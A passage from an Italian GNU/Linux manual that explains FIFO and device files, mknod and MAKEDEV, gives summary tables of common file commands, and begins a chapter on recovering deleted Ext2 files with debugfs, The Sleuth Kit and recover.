-m *modalità_dei_permessi* --mode=*modalità_dei_permessi*	Questa opzione permette di specificare esplicitamente i permessi del file che viene creato. La modalità può essere espressa sia in forma numerica, sia simbolica, come è possibile fare con il programma '**chmod**' (22.7.3). Il valore predefinito di questi permessi è 0666_8, meno il valore della maschera dei permessi.

Nell'esempio seguente vengono mostrati una sequenza di comandi con i quali, creando due file FIFO, si ottiene lo stesso risultato di un condotto come '**cat mio_file | sort | lpr**'.

$ **mkfifo fifo1 fifo2** [*Invio*]

Crea due file FIFO: 'fifo1' e 'fifo2'.

$ **cat mio_file >> fifo1 &** [*Invio*]

Invia 'mio_file' a 'fifo1' senza attendere ('**&**').

$ **sort < fifo1 >> fifo2 &** [*Invio*]

Esegue il riordino di quanto ottenuto da 'fifo1' e invia il risultato a 'fifo2' senza attendere ('**&**').

$ **lpr < fifo2** [*Invio*]

Accoda la stampa di quanto ottenuto da '**fifo2**'.

22.16 File di dispositivo

I file di dispositivo sono riferimenti a funzionalità contenute nel kernel. Nei sistemi Unix, questi file di dispositivo devono indicare due numeri, detti ***primario*** e ***secondario*** (oppure *major* e *minor*, secondo la terminologia originale), dove il primo rappresenta il tipo di dispositivo e il secondo serve a identificare esattamente un dispositivo particolare. Questi numeri dipendono dal kernel e di conseguenza possono variare da un sistema operativo Unix all'altro.

Nei sistemi Unix si accede quindi ai dispositivi attraverso file speciali, contenuti tradizionalmente nella directory '/dev/'. Anche i nomi che si danno a questi file possono variare da un sistema Unix all'altro; in certi casi ci sono piccole differenze tra le stesse distribuzioni GNU/Linux.[49]

Dal momento che questi file servono solo in quanto contengono i numeri primario e secondario di un certo dispositivo, potrebbero funzionare anche collocati al di fuori della loro directory tradizionale, utilizzando eventualmente nomi differenti. Questa possibilità viene sfruttata da alcune distribuzioni GNU/Linux, nella fase di installazione, quando nei dischetti di avvio

vengono creati al volo i file di dispositivo necessari a completare l'operazione, utilizzando eventualmente la stessa directory temporanea.

I file di dispositivo si distinguono in due categorie, in base al fatto che l'hardware a cui corrispondono sia in grado di gestire un flusso di caratteri, presi ognuno singolarmente, oppure richieda che i dati siano raggruppati in blocchi di una dimensione determinata. Nel primo caso si parla di dispositivo a caratteri, mentre nel secondo di dispositivo a blocchi.

Dato che i dispositivi fisici sono gestiti attraverso file di dispositivo, l'accesso all'hardware viene controllato con i permessi che vengono dati a questi file. La gestione dei permessi è molto importante nell'impostazione che viene data al sistema ed è uno dei punti su cui si trovano le differenze significative tra le varie distribuzioni GNU/Linux. Inoltre, l'esistenza di utenti e gruppi fittizi, con nomi come '**floppy**', '**sys**', '**daemon**' e altri, dipende spesso da questa esigenza di controllo dell'accesso ai dispositivi.

22.16.1 Utilizzo di «mknod»

Il programma di servizio '**mknod**' [50] permette di creare un file FIFO oppure un file di dispositivo:

mknod [*opzioni*] *file* *tipo* [*numero_primario* *numero_secondario*]

Il tipo di file viene indicato attraverso una lettera, mentre i numeri primario e secondario sono richiesti solo quando non si tratta della creazione di un file FIFO. La creazione di file di dispositivo è riservata all'utente '**root**'.

Tipo	Descrizione
p	La lettera '**p**' indica un file FIFO.
b	La lettera '**b**' indica un dispositivo a blocchi con memoria tampone (*buffer*).
c	La lettera '**c**' indica un dispositivo a caratteri con memoria tampone.
u	La lettera '**u**' indica un dispositivo a caratteri senza memoria tampone.

Opzione	Descrizione
-m *modalità_dei_permessi* --mode=*modalità_dei_permessi*	Questa opzione permette di specificare esplicitamente i permessi del file che viene creato. La modalità può essere espressa sia in forma numerica che simbolica, come è possibile fare con il programma '**chmod**' (22.7.3). Il valore predefinito di questi permessi è 0666_8, meno il valore della maschera dei permessi.

Segue la descrizione di alcuni esempi.

- `$` **`mknod fifo1 p`** [*Invio*]

  Crea il file FIFO 'fifo1' esattamente come si potrebbe fare utilizzando il programma '**mkfifo**'.

- # **mknod -m 0600 tty9 c 4 9** [*Invio*]

  Crea il file di dispositivo a caratteri '`tty9`', nella directory corrente, utilizzando dei permessi opportuni.

- # **mknod -m 0660 hda1 b 3 1** [*Invio*]

  Crea il file di dispositivo a blocchi '`hda1`', nella directory corrente, utilizzando dei permessi opportuni.

22.16.2 File «/dev/MAKEDEV»

Il file '`/dev/MAKEDEV`' è uno script molto importante che si occupa di ricreare i file di dispositivo, rispettando le convenzioni del proprio sistema particolare:

```
/dev/MAKEDEV dispositivo...
```

Infatti, non c'è solo il problema di definire il nome e i numeri primario e secondario: occorre anche stabilire i permessi corretti, l'utente e il gruppo proprietari. Trascurando questi particolari, si rischierebbe di aprire dei buchi, anche gravi, nella sicurezza del sistema.

In tal senso, questo script è diverso da un sistema operativo all'altro. Solo il nome e la collocazione sono definiti dallo standard generale dei sistemi Unix.

Generalmente si possono indicare come argomento uno o più nomi di file di dispositivo, senza il percorso. Questi dovrebbero essere creati nella directory corrente. Si vedano gli esempi successivi.

- # **/dev/MAKEDEV tty1** [*Invio*]

  Crea il file di dispositivo corrispondente alla prima console virtuale, assegnandogli tutti gli altri attributi corretti.

- # **/dev/MAKEDEV sda** [*Invio*]

  Crea il file di dispositivo corrispondente alla prima unità di memorizzazione di massa, assegnandogli tutti gli altri attributi corretti.

Normalmente, lo script riconosce al posto del nome di un file di dispositivo, il nome di un gruppo di questi. La tabella successiva riguarda alcuni nomi di gruppi di file che si utilizzano nella distribuzione GNU/Linux Debian.

Tabella 22.103. Alcuni nomi di gruppi di file di dispositivo nella distribuzione GNU/Linux Debian.

Nome	Descrizione
`generic`	Crea i file di dispositivo più comuni.
`usb`	Crea i file di dispositivo utili per i componenti collegati attraverso un bus USB.
`md`	Crea i file di dispositivo utili per la gestione di dischi RAID gestiti via software.

Tabella 22.104. La lettera che appare all'inizio dei permessi dei file, quando si usa '**`ls`**'.

lettera	Significato
`-`	Un file di dati puro e semplice.
`d`	Directory.
`l`	Collegamento simbolico.
`p`	File FIFO (*pipe* con nome).
`c`	Dispositivo a caratteri.
`b`	Dispositivo a blocchi.
`s`	Socket di dominio Unix.

22.17 Tabelle riepilogative

Tabella 22.105. Directory, percorsi e contenuti

Comando	Descrizione
`cd [~]`	Cambia la directory corrente, raggiungendo la directory personale dell'utente.
`cd` ***percorso***	Cambia la directory corrente per raggiungere la directory indicata; se il percorso è relativo, questo si aggiunge alla directory corrente di partenza.
`cd ~`***utente***	Cambia la directory corrente per raggiungere la directory personale dell'utente indicato (sempre che i permessi di accesso alla directory lo consentano).
`pwd`	Mostra la directory corrente.
`ls [.]`	Elenca i file e il contenuto della directory corrente.
`ls` ***nome***...	Elenca i file e il contenuto delle directory indicate; oppure, in mancanza di argomenti, elenca il contenuto della directory corrente.
`ls -l` ***nome***...	Elenca quanto richiesto, dando maggiori informazioni.
`ls -i` ***nome***...	Elenca quanto richiesto, aggiungendo il numero di inode.
`ls -a` ***nome***...	Elenca quanto richiesto, senza escludere i nomi che iniziano con un punto.
`ls -R` ***nome***...	Elenca quanto richiesto, continuando ricorsivamente nelle sottodirectory.

Comando	Descrizione
`ls -F` ***nome...***	Elenca i file, aggiungendovi un simbolo alla fine, per evidenziarne il tipo.
`mkdir -p` ***directory...***	Crea le directory indicate e anche le eventuali directory precedenti, se necessario.
`mkdir -m` ***permessi directory...***	Crea le directory indicate specificando la modalità di accesso (i permessi).
`rmdir -p` ***directory...***	Cancella le directory indicate e anche le eventuali directory precedenti, se queste risultano vuote.
`basename` ***percorso*** [***estensione***]	Estrae il nome finale di un percorso, togliendo anche il suffisso, se indicato.
`dirname` ***percorso***	Estrae la directory da un percorso. In pratica, elimina il nome finale dal percorso.
`file` ***nome...***	Elenca i file classificandone il tipo, in base al magic number.
`du -s` ***nome...***	Calcola lo spazio totale utilizzato, espresso in kibibyte (simbolo: «Kibyte»), per ogni directory indicata.
`which` ***nome...***	Restituisce i percorsi dei file binari che verrebbero utilizzati per i comandi indicati come argomento.
`whereis` ***nome...***	Localizza i file binari e le pagine di manuale dei comandi indicati come argomento.

Tabella 22.106. Proprietà, permessi e attributi

Comando	Descrizione
`chown` ***utente file...***	Cambia la proprietà dei file indicati, in modo che appartengano all'utente specificato.
`chown -R` ***utente*** `:` ***directory***	Cambia la proprietà della directory indicata e dei suoi file, comprese le sottodirectory, in modo che appartengano all'utente indicato e al gruppo dello stesso utente.
`chgrp -R` ***gruppo directory***	Cambia la proprietà della directory indicata e dei suoi file, comprese le sottodirectory, in modo che appartengano al gruppo indicato, senza cambiare l'utente.
`chmod -R a+X` ***directory***	Attribuisce i permessi di «esecuzione» a tutte le directory e ai file che ne hanno già almeno uno (per il proprietario, o il gruppo o gli altri), per tutti i tipi di utenti, a partire dalla directory indicata.

Comando	Descrizione
find ***directory*** -type d -exec chmod g+s \{\} \;	Attiva il bit SGID per le sole directory a partire da quella di partenza indicata (si suppone di utilizzare la shell Bash).
find ***directory*** -type f -exec chmod 0444 \{\} \;	Definisce la modalità, in sola lettura, per tutti i file normali, a partire dalla directory indicata (si suppone di utilizzare la shell Bash).

Tabella 22.107. Copia, collegamento, spostamento, cancellazione e archiviazione

Comando	Descrizione
cp ***file_origine*** ***file_destinazione***	Copia un file normale generandone un altro con il nome che appare alla fine della riga di comando.
cp ***file_origine***... ***directory_di_destinazione***	Copia i file di origine nella directory di destinazione indicata, mantenendo così gli stessi nomi di partenza.
cp -dp ***file_origine***... ***directory_di_destinazione***	Copia i file di origine, riproducendo il più possibile le caratteristiche originali. In particolare, i collegamenti simbolici vengono mantenuti come tali.
cp -dpR ***origine***... ***directory_di_destinazione***	Copia i file o le directory di origine, in modo ricorsivo, riproducendo il più possibile le caratteristiche originali. In particolare, i collegamenti simbolici vengono mantenuti come tali.
cp -dpRl ***origine***... ***directory_di_destinazione***	Copia le directory di origine ed eventuali discendenti, mentre per i file vengono generati solo collegamenti fisici.
ln ***file_origine*** ***file_destinazione***	Crea un collegamento fisico con il nome che appare alla fine della riga di comando sullo stesso inode del primo.
ln -s ***file_origine*** ***file_destinazione***	Crea un collegamento simbolico con il nome che appare alla fine della riga di comando, che punta al file di origine.
ln [-s] ***origine***... ***directory_di_destinazione***	Crea dei collegamenti nella directory di destinazione, con lo stesso nome dei file di origine.
mv ***nome_origine*** ***nome_destinazione***	Cambia il nome di un file o di una directory.
mv ***nome_origine***... ***directory_destinazione***	Sposta i file o le directory di origine nella directory di destinazione indicata.
for a in *.***ext_1***; ↩ ↪do mv $a \`basename $a .***ext_1***\`.***ext_2***; done	Sostituisce l'estensione '.***ext_1***' a tutti i file contenuti nella directory, mettendo al suo posto l'estensione '.***ext_2***'.
rm ***nome***...	Cancella i file indicati.
rm -r ***nome***...	Cancella file e directory in modo ricorsivo.

Comando	Descrizione
`find / -type f -name core -exec rm -i \{\} \;`	Elimina tutti i file `core` (solo i file normali).
`tar cf` ***archivio_di_destinazione directory_di_origine***	Archivia una directory in un file, utilizzando '**`tar`**' senza compressione.
`tar czf` ***archivio_di_destinazione directory_di_origine***	Archivia una directory in un file, utilizzando '**`tar`**' e comprimendolo con '**`gzip`**'.
`tar cjf` ***archivio_di_destinazione directory_di_origine***	Archivia una directory in un file, utilizzando '**`tar`**' e comprimendolo con '**`bzip2`**'.
`tar cf -` ***directory_di_origine*** `| gzip -9` ↩ ↪`>` ***archivio_di_destinazione***	Archivia una directory in un file, utilizzando '**`tar`**' e comprimendolo al massimo con '**`gzip`**'.
`tar cf -` ***directory_di_origine*** `| bzip2 -9` ↩ ↪`>` ***archivio_di_destinazione***	Archivia una directory in un file, utilizzando '**`tar`**' e comprimendolo al massimo con '**`bzip2`**'.
`tar tf` ***archivio_di_origine*** ↩ ↪[***'modello_da_estrarre'***]...	Elenca il contenuto di un archivio '**`tar`**'.
`tar tzf` ***archivio_di_origine*** [***'modello_da_estrarre'***]...	Elenca il contenuto di un archivio '**`tar`**', compresso con '**`gzip`**'.
`tar tjf` ***archivio_di_origine*** [***'modello_da_estrarre'***]...	Elenca il contenuto di un archivio '**`tar`**', compresso con '**`bzip2`**'.
`gunzip <` ***archivio_di_origine*** `| tar tf -` ↩ ↪[***'modello_da_estrarre'***]...	Elenca il contenuto di un archivio '**`tar`**', compresso con '**`gzip`**', utilizzando un condotto.
`bunzip2 <` ***archivio_di_origine*** `| tar tf -` ↩ ↪[***'modello_da_estrarre'***]...	Elenca il contenuto di un archivio '**`tar`**', compresso con '**`bzip2`**'.
`tar xpf` ***archivio_di_origine*** [***'modello_da_estrarre'***]...	Estrae il contenuto di un archivio '**`tar`**' a partire dalla directory corrente, mantenendo il più possibile inalterati gli attributi originali dei file.
`tar xpzf` ***archivio_di_origine*** [***'modello_da_estrarre'***]...	Estrae il contenuto di un archivio '**`tar`**', compresso con '**`gzip`**', a partire dalla directory corrente, mantenendo il più possibile inalterati gli attributi originali dei file.
`tar xpjf` ***archivio_di_origine*** [***'modello_da_estrarre'***]...	Estrae il contenuto di un archivio '**`tar`**', compresso con '**`bzip2`**', a partire dalla directory corrente, mantenendo il più possibile inalterati gli attributi originali dei file.
`gunzip <` ***archivio_di_origine*** `| tar xpf -` ↩ ↪[***'modello_da_estrarre'***]...	Estrae il contenuto di un archivio '**`tar`**', compresso con '**`gzip`**' (utilizzando un condotto), a partire dalla directory corrente, mantenendo il più possibile inalterati gli attributi originali dei file.
`bunzip2 <` ***archivio_di_origine*** `| tar xpf -` ↩ ↪[***'modello_da_estrarre'***]...	Estrae il contenuto di un archivio '**`tar`**', compresso con '**`bzip2`**', a partire dalla directory corrente, mantenendo il più possibile inalterati gli attributi originali dei file.

Comando	Descrizione
`tar cf /dev/fd0 -L 1440 -M` ***origine_da_archiviare***	Archivia una directory, o un file, su una serie di dischetti inizializzati a 1440 Kibyte, ma senza file system.
`tar tf /dev/fd0 -L 1440 -M` [***'modello_da_estrarre'***]...	Elenca il contenuto di un archivio contenuto in una serie di dischetti da 1440 Kibyte senza file system.
`tar xpf /dev/fd0 -L 1440 -M` ↩ ↪ [***'modello_da_estrarre'***]...	Estrae, nella directory corrente, il contenuto di un archivio contenuto in una serie di dischetti da 1440 Kibyte senza file system.
`dd if=`***file_da_suddividere*** `of=`***file_suddiviso_1*** ↩ ↪`bs=100k count=1 skip=0` `dd if=`***file_da_suddividere*** `of=`***file_suddiviso_2*** ↩ ↪`bs=100k count=1 skip=1` ... `dd if=`***file_da_suddividere*** `of=`***file_suddiviso_n*** ↩ ↪`bs=100k count=1 skip=(`***n***`-1)`	Suddivide un file in pezzetti da 100 Kibyte l'uno.
`cat` ***file_suddiviso***... `>` ***file_riaggregato***	Ricomposizione di un file suddiviso in pezzetti.

Tabella 22.108. Contenuto dei file e ricerche

Comando	Descrizione
`cat` ***file***...	Emette i file indicati, in sequenza, attraverso lo standard output.
`cat` ***file***... `>` ***file_unito***	Concatena i file assieme in un file unico, indicato alla fine.
`zcat` ***file***...	Emette il contenuto dei file compressi indicati, in sequenza, attraverso lo standard output.
`more` ***file*** `less` ***file***	Scorre il file indicato sullo schermo.
`cat` ***file***... `| more` ***file*** `cat` ***file***... `| less` ***file***	Scorre il file indicato sullo schermo.
`grep` ***'espressione_regolare'*** ***file***...	Cerca nei file le righe corrispondenti al modello indicato dall'espressione regolare.
`zgrep` ***'espressione_regolare'*** ***file_compresso***...	Cerca all'interno di file compressi le righe corrispondenti al modello indicato dall'espressione regolare.
`find` ***directory_di_partenza*** `-name` ***'modello'*** `-print`	Cerca i file che corrispondono al modello, a partire da una directory particolare.
`find / -type f -name core -print`	Cerca tutti i file '`core`' (solo i file normali).

Comando	Descrizione
`find` ***directory_di_partenza*** `-name` ***'modello'*** `-exec ↩ ↪grep` ***'espressione_regolare'*** `\{\} \; -print`	Cerca tra i file che corrispondono al modello, le righe che corrispondono all'espressione regolare di Grep. Il nome del file che ha trovato una corrispondenza con Grep viene visualizzato subito dopo la riga relativa.

22.18 Riferimenti

- Andreas Grünbacher, *Extended Attributes*
  ⟨*http://acl.bestbits.at/about.html*⟩
- *SuSE Linux administration guide: Access control lists in Linux*
  ⟨*http://www.suse.de/~agruen/acl/chapter/fs_acl-en.pdf*⟩
- Andreas Grünbacher, *POSIX access control lists on Linux*
  ⟨*http://www.suse.de/~agruen/acl/linux-acls/*⟩

[1] **GNU core utilities** GNU GPL

[2] **GNU core utilities** GNU GPL

[3] **GNU core utilities** GNU GPL

[4] **GNU core utilities** GNU GPL

[5] **GNU core utilities** GNU GPL

[6] **util-linux: namei** GNU GPL

[7] **GNU core utilities** GNU GPL

[8] **GNU core utilities** GNU GPL

[9] **File** software libero con licenza speciale

[10] Questa sezione su '**du**' è identica alla 21.4.1.10.

[11] **GNU core utilities** GNU GPL

[12] **util-linux: whereis** UCB BSD

[13] **GNU core utilities** GNU GPL

[14] La facoltà di indicare i due punti, senza mettere esplicitamente il nome del gruppo, è un'estensione non prevista dallo standard; lo stesso vale per la possibilità di specificare il gruppo, ma non l'utente.

[15] **GNU core utilities** GNU GPL

[16] **GNU core utilities** GNU GPL

[17] **Second extended file system management programs** GNU GPL

[18] **Second extended file system management programs** GNU GPL

[19] Come succede spesso, i nomi che rappresentano acronimi possono indicare cose differenti in contesti diversi. Nel caso particolare della sigla ACL, questa si usa anche in altre situazioni, specie nella gestione dell'accesso a servizi HTTP (serventi o proxy), dove si vuole regolare l'accesso al servizio o a delle risorse particolari. Ciò che si deve intendere è che la sigla ACL, anche se, come acronimo, fa riferimento alle stesse parole, rappresenta situazioni differenti in base al contesto.

[20] **ACL** GNU LGPL e GNU GPL

[21] **GNU core utilities** GNU GPL

[22] **GNU core utilities** GNU GPL

[23] **GNU core utilities** GNU GPL

[24] **GNU core utilities** GNU GPL

[25] **GNU core utilities** GNU GPL

[26] **GNU ddrescue** GNU GPL

[27] **sdd** GNU GPL

[28] **cstream** software libero con licenza speciale

[29] **GNU core utilities** GNU GPL

[30] **GNU core utilities** GNU GPL

[31] **GNU core utilities** GNU GPL

[32] **GNU core utilities** GNU GPL

[33] **GNU cpio** GNU GPL

[34] **GNU tar** GNU GPL

[35] **Gzip** GNU GPL

[36] **Bzip2** software libero con licenza speciale

[37] **UPX** GNU GPL con eccezioni e precisazioni

[38] **Unp** GNU GPL

[39] **Star** GNU GPL

[40] **Arc** GNU GPL

[41] **Arj** GNU GPL

[42] **Zoo** dominio pubblico

[43] **InfoZip** software libero con licenza speciale

[44] **Lzop** GNU GPL

[45] **PPMd** software libero con licenza speciale

[46] **Dact** GNU GPL

[47] **Makeself** GNU GPL

[48] **GNU core utilities** GNU GPL

[49] Nei sistemi GNU/Linux, i nomi di riferimento dei file di dispositivo dovrebbero essere quelli indicati nella documentazione interna ai sorgenti del kernel, precisamente il file '***sorgenti_linux***`/Documentation/devices.txt`'.

[50] **GNU core utilities** GNU GPL

Capitolo 23

Cancellazione, recupero e copie di sicurezza

23.1 Recupero dei dati cancellati 1238

23.1.1 Utilizzo generale di «debugfs» 1238
23.1.2 Recupero da un file system Ext2 con «debugfs» 1239
23.1.3 Recupero da un file system Ext2 con i programmi di The Sleuth Kit 1241
23.1.4 Recupero da un file system Ext2 con «recover» 1242
23.1.5 Recupero da un file system generico con Foremost 1243
23.1.6 Combinare Foremost e The Sleuth Kit 1245

23.2 Libreria per la conservazione dei dati cancellati 1245

23.2.1 Variabile di ambiente «LD_PRELOAD» 1245
23.2.2 Delsafe 1246
23.2.3 Preparazione di Libdelsafe 1247
23.2.4 Predisposizione dei cestini 1249
23.2.5 Script ausiliari a Libdelsafe 1250
23.2.6 E2undel 1250

23.3 Controllo dello spazio rimasto libero 1250

23.3.1 Secure-delete 1251
23.3.2 Esempio di programma per la sovrascrittura dello spazio libero 1252

23.4 Copie di sicurezza 1256

23.4.1 Archiviazione 1257
23.4.2 Percorsi assoluti o relativi 1257
23.4.3 Strategia nelle copie 1257
23.4.4 Generazioni delle copie 1258
23.4.5 Livelli delle copie 1258
23.4.6 Distribuire le responsabilità 1259
23.4.7 Supporti 1259
23.4.8 Compressione 1260

23.5 Archiviazione e recupero attraverso tar e gzip 1260

23.5.1 Archiviazione diretta su dispositivi di memorizzazione 1260
23.5.2 Archiviazione normale su file 1261
23.5.3 Archiviazione e percorsi 1262
23.5.4 Archiviazione di periodi 1262
23.5.5 Archiviazione limitata a un'unità 1263
23.5.6 Estrazione dei percorsi 1263
23.5.7 Recupero 1263

23.5.8 Recupero parziale 1263
23.5.9 Elenco e controllo 1264
23.5.10 Archiviazione di un file system 1264
23.5.11 Strumenti per il recupero 1264
23.6 Riferimenti 1265

`debugfs` 1238 1239 `dls` 1245 `fls` 1241 `foremost` 1243 1245 `foremost.conf` 1243 `icat` 1241 `ils` 1241 `sfill` 1251 `$LD_PRELOAD` 1245

23.1 Recupero dei dati cancellati

Ogni file system utilizza una propria procedura per amministrare i file all'interno dell'unità di memorizzazione. In generale vale il principio che la cancellazione di un file implichi semplicemente la rimozione dei riferimenti ai dati relativi, mentre la cancellazione effettiva dei contenuti avviene soltanto quando dei dati nuovi vanno a occupare la stessa area.

Dalle caratteristiche del file system deriva la semplicità o complessità del recupero di un file cancellato. In generale, un file system utilizzato in un sistema operativo destinato alla massa, viene progettato per facilitare il recupero dei dati cancellati, mentre un file system per ambienti specializzati tende a privilegiare altri aspetti, lasciando inesplorato il problema di tale recupero.

Gli esempi di questa sezione possono solo dimostrare quanto sia complesso il procedimento di recupero di un file cancellato e dovrebbero scoraggiare questa pratica, privilegiando piuttosto una buona politica di copie di sicurezza.

Quando dovesse verificarsi un incidente, a seguito del quale si vuole tentare assolutamente il recupero di un file cancellato, è indispensabile impedire le operazioni di scrittura nel file system considerato; pertanto, il minimo che si possa fare è reinnestare il file system in sola lettura. Tuttavia, di norma si riavvia il sistema con l'ausilio di CD/DVD di emergenza, o dischi esterni, ma in ogni caso occorre disporre di un'unità di memorizzazione ulteriore in cui depositare i file che emergono dal recupero.

23.1.1 Utilizzo generale di «debugfs»

Il programma '**`debugfs`**'[1] è utile per analizzare ed eventualmente modificare il contenuto di un file system di tipo Second-extended:

```
debugfs [opzioni] [immagine]
```

Il programma '**`debugfs`**' può essere usato in modo interattivo e in tal caso, di norma, nella riga di comando viene specificato solo il nome del file-immagine o del file di dispositivo contenente il file system da analizzare, come nell'esempio seguente:

`#` **`debugfs /dev/fd0`** [*Invio*]

Richiedendo un funzionamento interattivo, si ottiene un invito, dal quale vanno impartiti i comandi di '**`debugfs`**'. Il comando da ricordare è '**`help`**', con il quale si ottiene un elenco sintetico delle funzioni disponibili:

`debugfs:` **`help`** [*Invio*]

```
Available debugfs requests:

show_debugfs_params, params
Show debugfs parameters
open_filesys, open       Open a filesystem
close_filesys, close     Close the filesystem
feature, features        Set/print superblock features
…
```

Quando un comando di '**debugfs**' produce un listato più lungo dello spazio a disposizione sullo schermo, viene utilizzato automaticamente un programma per il controllo dello scorrimento del testo, come '**more**' o '**less**', in base alla configurazione del proprio sistema (precisamente dipende dalla variabile di ambiente ***PAGER***). Ciò significa che in tal caso l'invito cambia e si passa a una fase in cui i comandi vengono interpretati dal tale programma usato per la lettura del risultato. Di norma, è sufficiente il comando '**q**' per abbandonare la funzione di scorrimento.

Quando l'invito è quello di '**debugfs**', per concludere il funzionamento interattivo si utilizza il comando '**quit**':

debugfs: **quit** [*Invio*]

In generale, durante il funzionamento interattivo di '**debugfs**' è possibile indagare sul contenuto del file system, utilizzando comandi simili a quelli di un sistema Unix comune per attraversare la gerarchia di directory. In questa fase conviene prendere appunti sui numeri di inode a cui si può essere interessati. Successivamente, per estrapolare dei dati, conviene utilizzare '**debugfs**' in modo non interattivo, impartendo i comandi attraverso l'argomento dell'opzione '**-R**':

debugfs [*opzioni*] -R ***comando*** [***immagine***]

Quando i comandi di '**debugfs**' richiedono l'indicazione di un file, si può specificare il nome di questo file, attraverso un percorso che parte dalla radice di quel file system (oppure dalla directory corrente se si sta usando il programma in modo interattivo); diversamente si può indicare il numero di inode, ma in tal caso questo va racchiuso tra parentesi angolari: '**<*n*>**'. A titolo di esempio, il comando seguente copia il contenuto del numero di inode 123456, dal file system del file di dispositivo '/dev/hda7', nel file '/tmp/mio':

```
# debugfs -R "cat <123456>" /dev/fd0 > /tmp/mio [Invio]
```

23.1.2 Recupero da un file system Ext2 con «debugfs»

La cancellazione di un file all'interno di un file system Ext2 implica la perdita dell'informazione del nome che questo aveva, mentre il «nodo indice», ovvero l'inode, continua a mantenere il riferimento ai dati originali. In questo modo è possibile risalire alla presenza di un contenuto, cancellato in un certo momento. Per fare una ricerca di questo tipo si utilizza normalmente il programma '**debugfs**'. A titolo di esempio viene mostrata un'indagine all'interno di un dischetto:

```
# debugfs /dev/fd0 [Invio]

debugfs: ls -l [Invio]

        2   40755 (2)      0      0    1024 17-Jul-2007 12:43 .
        2   40755 (2)      0      0    1024 17-Jul-2007 12:43 ..
       11   40700 (2)      0      0   12288 17-Jul-2007 12:39 lost+found
       12   40755 (2)      0      0    1024 17-Jul-2007 12:44 bin
       13   40755 (2)      0      0    1024 17-Jul-2007 12:40 sbin
       14   40755 (2)      0      0    1024 17-Jul-2007 12:42 usr
       31   40755 (2)      0      0    1024 17-Jul-2007 12:41 lib
       56   41777 (2)      0      0    1024 17-Jul-2007 12:43 tmp
```

Si vogliono recuperare dei file cancellati nella directory '`/bin/`':

```
debugfs: cd /bin [Invio]

debugfs: ls -l [Invio]

       12   40755 (2)      0      0    1024 17-Jul-2007 12:44 .
        2   40755 (2)      0      0    1024 17-Jul-2007 12:43 ..
  <     0>      0 (1)      0      0       0                   arch
  <     0>      0 (1)      0      0       0                   bash
  <     0>      0 (1)      0      0       0                   bunzip2
       18  100755 (1)      0      0    2105 21-May-2007 07:43 bzcmp
       18  100755 (1)      0      0    2105 21-May-2007 07:43 bzdiff
       19  100755 (1)      0      0    3642 21-May-2007 07:43 bzegrep
       20  100755 (1)      0      0    4878 21-May-2007 07:43 bzexe
```

La directory riporta tre file cancellati ('`arch`', '`bash`' e '`bunzip2`'), pertanto si verifica la presenza di inode riferiti a file cancellati nella directory corrente:

```
debugfs: lsdel [Invio]

   Inode  Owner  Mode     Size    Blocks   Time deleted
      15      0 100755   3248     4/    4 Tue Jul 17 12:44:29 2007
      16      0 100755 677184   666/  666 Tue Jul 17 12:44:29 2007
      17      0 100755  25140    26/   26 Tue Jul 17 12:44:29 2007
  3 deleted inodes found.
```

Vengono segnalati tre file cancellati, corrispondenti agli inode 15, 16 e 17. Si prende nota e si chiude il funzionamento interattivo del programma:

```
debugfs: quit [Invio]
```

Attraverso comandi non interattivi è possibile copiare il contenuto a cui fanno ancora riferimento gli inode annotati dal file system in cui è stata svolta l'indagine:

```
# debugfs -R "cat <15>" /dev/fd0 > /tmp/inode15 [Invio]

# debugfs -R "cat <16>" /dev/fd0 > /tmp/inode16 [Invio]
```

```
# debugfs -R "cat <17>" /dev/fd0 > /tmp/inode17 [Invio]
```

Si ottiene così la copia dei dati a cui fanno riferimento gli inode annotati in precedenza, nei file '/tmp/inode15', '/tmp/inode16' e '/tmp/inode17'.

23.1.3 Recupero da un file system Ext2 con i programmi di The Sleuth Kit

Il pacchetto noto come The Sleuth Kit,[2] ovvero TSK, può essere usato per individuare la presenza di file cancellati e per recuperarli, da un file system Ext2, ma attraverso un procedimento meno agevole rispetto a '**debugfs**'. Viene mostrato un esempio analogo a quello già apparso nella sezione precedente, con l'uso di programmi del pacchetto The Sleuth Kit, senza entrare nel dettaglio del funzionamento degli stessi.

Per prima cosa viene osservata la struttura di file e directory, dalla quale è possibile individuare la presenza di file cancellati, benché non si possa sapere se i contenuti relativi siano ancora accessibili:

```
# fls -rp /dev/fd0 [Invio]
```

```
d/d 11: lost+found
d/d 12: bin
r/- * 0:        bin/arch
r/- * 0:        bin/bash
r/- * 0:        bin/bunzip2
r/r 18: bin/bzcmp
r/r 18: bin/bzdiff
…
l/l 48: lib/libbz2.so.1.0
r/r 49: lib/libbz2.so.1.0.3
d/d 56: tmp
```

L'incolonnamento dei dati che appaiono nel listato non è perfetto, perché le colonne sono separate semplicemente da un carattere di tabulazione orizzontale. A ogni modo si individua la presenza di tre file che sono stati cancellati nella directory '/bin/', di cui però non si conosce il numero inode originale. Con il programma '**ils**' si cercano tutti gli inode liberi che risultano essere stati usati in precedenza:

```
# ils -Z /dev/fd0 [Invio]
```

```
class|host|device|start_time
ils|nanohost||1184686862
st_ino|st_alloc|st_uid|st_gid|st_mtime|st_atime|st_ctime|↩
↪st_mode|st_nlink|st_size|st_block0|st_block1
15|f|0|0|1172080124|1184661548|1184669069|100755|0|3248|49|50
16|f|0|0|1165872010|1184668800|1184669069|100755|0|677184|53|54
17|f|0|0|1179726247|1184661548|1184669069|100755|0|25140|719|720
```

Il listato è difficile da interpretare e sarebbe fatto per l'utilizzo attraverso altri programmi. In questo caso sono riportati solo tre inode: 15, 16 e 17. Non riuscendo a fare altre congetture, si

estrapola il contenuto di questi tre inode copiandoli in altrettanti file:

icat /dev/fd0 15 > /tmp/inode15 [*Invio*]

icat /dev/fd0 16 > /tmp/inode16 [*Invio*]

icat /dev/fd0 17 > /tmp/inode17 [*Invio*]

23.1.4 Recupero da un file system Ext2 con «recover»

Il programma Recover[3], il quale a sua volta si avvale di '**debugfs**', viene usato in modo interattivo per tentare di recuperare file cancellati in un file system Ext2:

recover [-a] ***file_di_dispositivo***

Nella riga di comando va indicato espressamente un file di dispositivo, mentre non è possibile indicare semplicemente un file-immagine contenente la copia del file system da elaborare.

L'opzione '**-a**' consente di eseguire una scansione automatica per recuperare tutti gli inode recuperabili. Viene mostrato solo un esempio con l'uso di tale opzione. Senza l'opzione '**-a**' il programma fa delle domande che consentono di circoscrivere la ricerca dei file da recuperare a un insieme ristretto:

recover /dev/fd0 [*Invio*]

```
Getting inodes (this can take some time)...
debugfs 1.40 (29-Jun-2007)
=> 15 3248 JUL TUE 17 12:44:29 2007
=> 16 677184 JUL TUE 17 12:44:29 2007
=> 17 25140 JUL TUE 17 12:44:29 2007

